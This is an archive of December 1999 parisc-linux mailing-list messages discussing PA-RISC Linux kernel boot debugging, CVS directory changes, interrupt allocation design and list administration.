X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: bame@fc.hp.com  Wed Dec  8 09:00:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA07439
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 09:00:10 -0700
Original-Received: (qmail 23825 invoked by uid 15267); 8 Dec 1999 16:02:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23814 invoked from network); 8 Dec 1999 16:02:12 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 8 Dec 1999 16:02:12 -0000
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id IAA16814;
	Wed, 8 Dec 1999 08:54:40 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id IAA21679;
	Wed, 8 Dec 1999 08:54:39 -0700
In-reply-to: Your message of "Wed, 08 Dec 1999 05:27:15 PST."
             <19991208132715.19922.qmail@web501.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6576

= Hi all,
= 
= I have build a new kernel with the CVS version
= 19991205 and I get the following console output when I
= try to boot it on my 715/33:

If you'll place that kernel somewhere I can get it, I'll check
this, or you can.  Look into the kernel and/or System.map
for what's at 0xc004a078, which is inside a procedure which will
return to 0xc0112000.  It looks like a null (or small) pointer
dereference because we're trying to create a virtual mapping for address 0.

	-P

= PARISC/Linux Bootstrap Version 0.6 (interactive)
= By Helge Deller & Jason Eckhardt
= Built Mon Dec 6 11:13:34 MET 1999 by root@be5359
= 
= Reading parameters...done.
= 
= Loading PA-RISC/Linux Kernel...
= 
= Please enter the command-line:
= /stand/vmlinux HOME=/ TERM=LINUX console=tty
= 
= SOM-Kernel:
= aux_header_location: 00000080
= som       : 00200080
= exec_dfile: 000CE000
= exec_dsize: 00081000
= exec_dmem : C00A0000
= exec_tfile: 0003E000
= exec_tsize: 0008F008
= exec_tmem : C0010000
= Code at 0x00010000, size=0x0008F008
= Data at 0x000A0000, size=0x00081000
= BSS  at 0x00121000.
= 
= Transferring control to kernel. (At entry point
= 0x00010000)
= kernel(0x146880, 0x504010, 0x146880, 0x12c30)
= Boot loader: PA/Linux, maybe PALO
= kernel free mem 0x00146880
= realmode_setup exiting
= Can't insert TLB miss handler pa 0x40000000 va
= 0x00000000
= r0-3    0x0004fb0b      0xc0112000      0xc004a170    
=  0x00000000
= r4-7    0xc0112000      0x00000000      0x00000400    
=  0x00000000
= r8-11   0xc01db000      0x00000000      0x00000400    
=  0x00000100
= r12-15  0xc01a4988      0x00000000      0x00000000    
=  0x00000000
= r16-19  0x00000000      0x00000400      0x00001000    
=  0x0000001f
= r20-23  0x00000020      0xc01a001c      0x00000001    
=  0xc01268b0
= r24-27  0x00000000      0x00000400      0x00000000    
=  0xc009f000
= r28-31  0xc01db000      0x0000000b      0xc01a4f40    
=  0xc007a39c
= sr0-3   0x00000000      0x00000000      0x00000000    
=  0x00000000
= sr4-7   0x00000000      0x00000000      0x00000000    
=  0x00000000
= iasq 0x00000020 0x00000003
= iaoq 0xc004a078 0xc004a07c
= cr30 0x00000000 ksp 0x00000001 kpc 0xc01a4f80 sar
= 0x00000012
= iir 0x48730038
= 
= The last successful booting kernel was from the CVS
= version 19991123.
= 
= Any ideas ?
= Ulrich
= 
= --- Paul Bame <bame@debian.fc.hp.com> wrote:
= > 
= > I just committed the changes to embed real-mode code
= > in a separate
= > executable inside vmlinux.  It should cause no
= > functional changes
= > in theory.  Read all about it in
= > arch/parisc/real/README and
= > ee.html.  If you have terrible new problems,
= > I've attached a list of CVS commands to check out
= > the files before I
= > started hacking on them.  I haven't seen a shell
= > prompt from this
= > set of hacks so beware...
= > 
= > 	-Paul Bame
= > 
= > prumpf- I moved kernel_thread and friends from
= > 	real/<something> to kernel/head.S  I also
= > re-enabled BTLB in
= > 	real/setup.c so I could get further in the boot. 
= > Left some
= > 	debugging printks in the handle_real_interrupt
= > handler too.
= > 
= > cvs update -r1.25 arch/parisc/Makefile
= > 	cvs update -A arch/parisc/Makefile
= > cvs update -r1.28 arch/parisc/kernel/Makefile
= > 	cvs update -A arch/parisc/kernel/Makefile
= > cvs update -r1.35 arch/parisc/kernel/head.S
= > 	cvs update -A arch/parisc/kernel/head.S
= > cvs update -r1.39 arch/parisc/kernel/irq.c
= > 	cvs update -A arch/parisc/kernel/irq.c
= > cvs update -r1.14 arch/parisc/kernel/pdc.c
= > 	cvs update -A arch/parisc/kernel/pdc.c
= > cvs update -r1.25 arch/parisc/kernel/pdc_cons.c
= > 	cvs update -A arch/parisc/kernel/pdc_cons.c
= > cvs update -r1.73 arch/parisc/kernel/setup.c
= > 	cvs update -A arch/parisc/kernel/setup.c
= > cvs update -r1.11 arch/parisc/kernel/traps.c
= > 	cvs update -A arch/parisc/kernel/traps.c
= > cvs update -r1.2 arch/parisc/real/Makefile
= > 	cvs update -A arch/parisc/real/Makefile
= > cvs update -r1.2 arch/parisc/real/head.S
= > 	cvs update -A arch/parisc/real/head.S
= > cvs update -r1.2 arch/parisc/real/interruption.S
= > 	cvs update -A arch/parisc/real/interruption.S
= > cvs update -r1.2 arch/parisc/real/lib.c
= > 	cvs update -A arch/parisc/real/lib.c
= > cvs update -r1.2 arch/parisc/real/pdc.c
= > 	cvs update -A arch/parisc/real/pdc.c
= > cvs update -r1.2 arch/parisc/real/real.h
= > 	cvs update -A arch/parisc/real/real.h
= > cvs update -r1.2 arch/parisc/real/real_s.S
= > 	cvs update -A arch/parisc/real/real_s.S
= > cvs update -r1.2 arch/parisc/real/setup.c
= > 	cvs update -A arch/parisc/real/setup.c
= > cvs update -r1.1 arch/parisc/real/traps.c
= > 	cvs update -A arch/parisc/real/traps.c
= > cvs update -r1.1 include/asm-parisc/real.h
= > 	cvs update -A include/asm-parisc/real.h
= > 
= >
= ---------------------------------------------------------------------------
= > To unsubscribe: send e-mail to
= > parisc-linux-request@thepuffingroup.com with
= > `unsubscribe' as the subject.
= > 
= > 
= 
= __________________________________________________
= Do You Yahoo!?
= Thousands of Stores.  Millions of Products.  All in one place.
= Yahoo! Shopping: http://shopping.yahoo.com


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/conf/machine header files
Date: Wed, 08 Dec 1999 15:33:30 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <199912082333.PAA03087@milano.cup.hp.com>
References: <19991206002708.A16979@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618689 28881 80.91.229.3 (22 Nov 2014 01:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: grundler@cup.hp.com  Wed Dec  8 16:30:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA10700
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 16:30:23 -0700
Original-Received: (qmail 26713 invoked by uid 15267); 8 Dec 1999 23:32:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26705 invoked from network); 8 Dec 1999 23:32:33 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 8 Dec 1999 23:32:33 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP id 4821D9D3B
	for <parisc-linux@thepuffingroup.com>; Wed,  8 Dec 1999 18:32:32 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA03087; Wed, 8 Dec 1999 15:33:32 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 06 Dec 1999 00:27:08 PST."
             <19991206002708.A16979@mathe.stud.uni-erlangen.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6577

Philipp Rumpf wrote:
> > This directory seems to be a gold mine of information about hardware.
> 
> One extremely interesting piece of information for those interested in the
> PA2.0 port:  64-bit virtual addresses are 42 bits per quadrant only and
> start at the smallest address in the quadrant - so unlike alpha where the
> addresses are "sign-extended".

Actually, HP-UX does sign extend I/O addresses. I'm not sure
if this is a feature of HP-UX or something in the HW makes it
easier to do it this way...anyone know?

Secondly, don't make assumptions about how many bits are used in
a virtual or physical addresses unless it's processor specific code.
(eg TLB handler or trap handler or hpmc handler). I know the number
of physical bits supported by the processor is going to increase
from 40-bits (runway).

cheers,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mailing list hiccoughs
Date: Wed, 8 Dec 1999 19:48:42 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <19991208194842.A3557@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618690 28883 80.91.229.3 (22 Nov 2014 01:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Wed Dec  8 16:38:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA10881
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 16:38:21 -0700
Original-Received: (qmail 30191 invoked by uid 15267); 8 Dec 1999 23:40:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30170 invoked from network); 8 Dec 1999 23:40:30 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 8 Dec 1999 23:40:30 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id TAA03724
	for parisc-linux@thepuffingroup.com; Wed, 8 Dec 1999 19:48:43 -0500
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:6578

I just wanted to let you know that the slowdown on puffin.external has
been largely cleared.  It was partially the result of hypermail run
wild (there are some truly amazing bugs in that software), and
partially the result of my inability to make sendmail do what I want.

Some email from the last few days may arrive out-of-order, but it
should be correct in the archives and from here on out.

In other news, by popular demand, the archive web pages will shortly
have the date printed in the message listing.  Hopefully this will
make it easier to find what you're looking for.  Coming soon, a
monthly breakdown of the lists (long overdue).

-Phil


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nils Bokermann <nilsb@bermuda.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715-75 (netboot?)
Date: Thu, 9 Dec 1999 00:49:30 +0100 (CET)
Lines: 17
Approved: news@gmane.org
Message-ID: <14414.61066.628924.132344@hercules.bermuda.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618690 28887 80.91.229.3 (22 Nov 2014 01:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: nilsb@bermuda.de  Wed Dec  8 16:47:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA11296
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 16:47:34 -0700
Original-Received: (qmail 1515 invoked by uid 15267); 8 Dec 1999 23:49:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1508 invoked from network); 8 Dec 1999 23:49:43 -0000
Original-Received: from hercules.bermuda.de (postfix@194.245.92.186)
  by mailserv2.iuinc.com with SMTP; 8 Dec 1999 23:49:43 -0000
Original-Received: by hercules.bermuda.de (Postfix, from userid 2000)
	id D1D537739; Thu,  9 Dec 1999 00:49:33 +0100 (CET)
X-Mailer: VM 6.72 under 21.1 (patch 7) "Biscayne" XEmacs Lucid
X-Face: uEG3u'ES<BZzVd+Adsg(?%\*EdGl;R>G9i%'}S~DfcxV:8WAw,icugS$X6l~.1DJ1^UVZO.
 IBrpGNr6ct;eh7]b`R:t<KrE=3FT5AMUlfeDgkcY2%fm+'P^~}3nZF&j0%$G*'08mb5x8,"FkGtQH/
 b9k>TX?xH*;zgb'$S;34qk};3.HM;J|#I&r5_+~"]F4BjE&g3;=Jyf$5G;GZN&}M=X@=~c5HXY,Crb
 \?cbrsAolx191Z?KH|:hKsl-0p\:o\e=YN_
Xref: news.gmane.org gmane.linux.ports.parisc:6579

Hi!

Is there a way to boot linux on a HP 9000 (apollo) 715-75 over the net
(yes -- it is, with rbootd, wich runs here). But HOW can I get a
ramdisk to my HP??

Bye, Nils

P.S.: In fact, there is a Disk in the HP, but I don't want to risk the
HP-UX running on it :)

-- 
Nils Bokermann
Johanneswerkstr. 90        Phone: +49 521 8807498
33613 Bielefeld            "Wir wollen die Natur nicht erhalten -- 
Germany                     Wir wollen nur ihre Dynamik nicht st"oren." 


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715-75 (netboot?)
Date: Wed, 8 Dec 1999 20:08:38 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <19991208200838.B3557@thepuffingroup.com>
References: <14414.61066.628924.132344@hercules.bermuda.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618690 28889 80.91.229.3 (22 Nov 2014 01:11:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:30 +0000 (UTC)
To: Nils Bokermann <nilsb@bermuda.de>, parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Wed Dec  8 16:58:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA11449
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 16:58:39 -0700
Original-Received: (qmail 6223 invoked by uid 15267); 9 Dec 1999 00:00:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6202 invoked from network); 9 Dec 1999 00:00:49 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 00:00:49 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id UAA03799;
	Wed, 8 Dec 1999 20:08:39 -0500
X-Mailer: Mutt 0.93.2
In-Reply-To: <14414.61066.628924.132344@hercules.bermuda.de>; from Nils Bokermann on Thu, Dec 09, 1999 at 12:49:30AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6580

On Dec 09, Nils Bokermann wrote:
> Is there a way to boot linux on a HP 9000 (apollo) 715-75 over the net
> (yes -- it is, with rbootd, wich runs here). But HOW can I get a
> ramdisk to my HP??

At the moment, the ramdisk is linked into the kernel image.  When you
"make Image", it pulls "ramdisk.bin" from your top-level kernel source
directory.

-Phil


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] drivers/gecko
Date: Wed, 08 Dec 1999 16:02:24 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <199912090002.QAA03171@milano.cup.hp.com>
References: <199912081040.LAA07153@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618691 28891 80.91.229.3 (22 Nov 2014 01:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: tor@spacetec.no (Tor Arntsen)
Original-X-From: grundler@cup.hp.com  Wed Dec  8 16:59:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA11647
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 16:59:16 -0700
Original-Received: (qmail 6497 invoked by uid 15267); 9 Dec 1999 00:01:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6489 invoked from network); 9 Dec 1999 00:01:25 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 00:01:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP id A17B0C3AA
	for <parisc-linux@thepuffingroup.com>; Wed,  8 Dec 1999 19:01:24 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA03171; Wed, 8 Dec 1999 16:02:24 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 08 Dec 1999 11:40:13 PST."
             <199912081040.LAA07153@pallas.spacetec.no> 
Xref: news.gmane.org gmane.linux.ports.parisc:6581

Tor Arntsen wrote:
> Did somebody  rm -rf /home/cvs/parisc/linux/drivers/gecko  directly in the
> CVS repository?
> 
> cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/drivers/ge
>   cko: No such file or directory

Alex renamed the directory to drivers/gsc at my request.
He made the mistake of promising me to rename it if I showed
up at ALS....and I did. So I'm happy.

grant

> -Tor
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] txn_alloc_irq() change
Date: Wed, 08 Dec 1999 16:24:36 -0800
Lines: 103
Approved: news@gmane.org
Message-ID: <199912090024.QAA03214@milano.cup.hp.com>
References: <19991206193447.B21512@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618691 28892 80.91.229.3 (22 Nov 2014 01:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: grundler@cup.hp.com  Wed Dec  8 17:21:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA12010
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 17:21:29 -0700
Original-Received: (qmail 15605 invoked by uid 15267); 9 Dec 1999 00:23:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15597 invoked from network); 9 Dec 1999 00:23:37 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 00:23:37 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id E7A446E3
	for <parisc-linux@thepuffingroup.com>; Wed,  8 Dec 1999 16:23:36 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA03214; Wed, 8 Dec 1999 16:24:36 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 06 Dec 1999 19:34:47 PST."
             <19991206193447.B21512@mathe.stud.uni-erlangen.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6582

[ I didn't respond sooner because of parisc-linux mail problems...
  thank phil! - grant ]

Philipp Rumpf wrote:
> > I was working through Message Signalled Interrupt (aka TBIs) allocation
> > and realized our current txn_alloc_irq() implementation needs to accepted
> > at least one parameter. The parameter would indicate a (one of two)
> > capability of the caller's device. Returning a negative irq indicates
> > the host can't support the device because the host doesn't have a
> > compatible resource.
> 
> The original plan was to hide txn_alloc_irq (which I still think is a bad
> name as no-one is going to remember it) in bus-specific wrappers --
> gsc_alloc_irq is one, though the Dino driver does not use it currently.

For munging the return values on specific busses, I agree. By that,
I mean gsc_alloc_irq() is a useful interface for GSC devices which
program their EIM register. This service is NOT bus specific.

I'm open for suggestions on the name.

I won't be able to modify Dino in the near future to
use the same services LASI is using. I can work on this
next month.

> So this doesn't even affect "well-written" drivers.

This is wrong. Symbios SCSI, ATM, and Gigabit Ethernet Drivers could
all *directly* use this service. All of those devices are capable of
mastering a "Message Signalled Interrupt" instead of yanking an IRQ line.
It's a chicken and egg problem though: since no service exists for them
on PC's, the drivers aren't written to use it. With IA64 and PA-risc
joining the parade, the drivers can take advantage of those features.
I'm pretty sure the "high-speed" networking folks at CERN will be
interested in this once they understand its utility.

> Changing txn_alloc_irq isn't exactly high-priority as all systems that
> use <= 31 interrupt-generating devices (which I guess are the systems
> we're currently working with) should work just fine right now.

Your priorities don't match mine. I'm getting paid to work on stuff
which only runs under PA2.0. I'm helping with PA1.1 I/O subsystem because
the vast majority of everything else is common (and it's fun too).

GSC/NIO devices implement an EIM register and can only use EIR bits 0-31.
GSC Fast/Wide/Diff SCSI (NCR c720 SCSI) driver does NOT have to use the
EIM register. Similarly, some ATM/SCSI/GigE PCI devices behind Dino
don't have to use IRQ lines. MSI support depends on the "processor",
not the bus.

The current interface only works for a subset of all parisc platforms.
I'm proposing an architectural change to support all current (and some
future) parisc platforms because I think it's the "right" thing to do.


> >         /* enable_irq() will use txn_* to program IRdT (PAT only) */
> >         vi->vi_txn_addr = txn_alloc_addr(vi->vi_txn_irq);
> >         vi->vi_txn_data = txn_alloc_data(vi->vi_txn_irq);
> 
> txn_alloc_{addr,data} are confusing names as those functions don't actually
> allocate anything.

They don't currently allocate anything but future implementations could.
The IRQ is a *virtual* IRQ (prumpf knows that; I don't have to tell him).
The address and data associated with that IRQ can be any CPU and any EIR
bit for a given CPU.

Secondly, the names match with txn_alloc_irq() and that makes it easier
to remember. I'm open to changing the names for all three functions.


> > In addition, I would like folks to tell me if we should add a second
> > parameter to indicate how "wide" the "txn_addr" can be. I had assumed
> > the width of a host processor pointer address but cards may not support
> > enough bits (ie 32-bit card won't work on system which wants 40-bit or
> > 44-bit physical addr). AFAIK PA-Risc systems have processors aliased to
> > below 4GB physical address and thus it won't be an issue for our port.
> > But other architectures do support MSI and it seems easy to avoid
> > nasty surprizes later.
> 
> This, again, depends on the bus.  For PCI, either your card supports dual
> address cycles and you can use 64 bits, or it doesn't, in which case your
> system needs to alias everything below 4 GB anyway.

That's true. But the card *also* needs to support dual address cycle
and the caller (ie device driver) will know this. For systems which
alias stuff below 4GB, we should just use those aliases. I'm concerned
about a case where the PCI bus adapter supports dual address cycle,
the card does not, no alias exists, and the processor is above 4GB.
Somewhat obscure and I hope we don't run into this. That's why I simply
ask for folks to tell me if we should support it even if it might not
get used.

Dino does not support dual address cycle.
"lba" (C3000/J5000) PCI bus adapter does.

thanks prumpf for the feedback,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] drivers/gecko
Date: Wed, 08 Dec 1999 19:28:44 -0500
Organization: The Puffin Group
Lines: 89
Approved: news@gmane.org
Message-ID: <384EF7BC.4A5D1B54@thepuffingroup.com>
References: <199912081040.LAA07153@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618691 28895 80.91.229.3 (22 Nov 2014 01:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Tor Arntsen <tor@spacetec.no>
Original-X-From: adevries@thepuffingroup.com  Wed Dec  8 17:23:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA12162
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 17:23:35 -0700
Original-Received: (qmail 16314 invoked by uid 15267); 9 Dec 1999 00:25:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16307 invoked from network); 9 Dec 1999 00:25:45 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 00:25:45 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA15010;
	Wed, 8 Dec 1999 19:28:45 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6583

Tor Arntsen wrote:
> 
> Did somebody  rm -rf /home/cvs/parisc/linux/drivers/gecko  directly in the
> CVS repository?
> 
> cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/drivers/gecko: No such file or directory


If you do a 'cvs update -d', you'll get the new directory.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group

X-From-Line: pjlahaie@mailserv2.iuinc.com  Wed Mar 10 14:51:58 1999
Return-Path: <pjlahaie@mailserv2.iuinc.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03807
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:57 -0800
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:58 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id LAA25915
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 11:08:16 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id LAA08679
	for <pcj@primenet.com>; Wed, 10 Mar 1999 11:50:41 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd008592; Wed Mar 10 11:50:30 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id NAA08141;
	Wed, 10 Mar 1999 13:09:12 -0500
Resent-Date: Wed, 10 Mar 1999 13:09:12 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
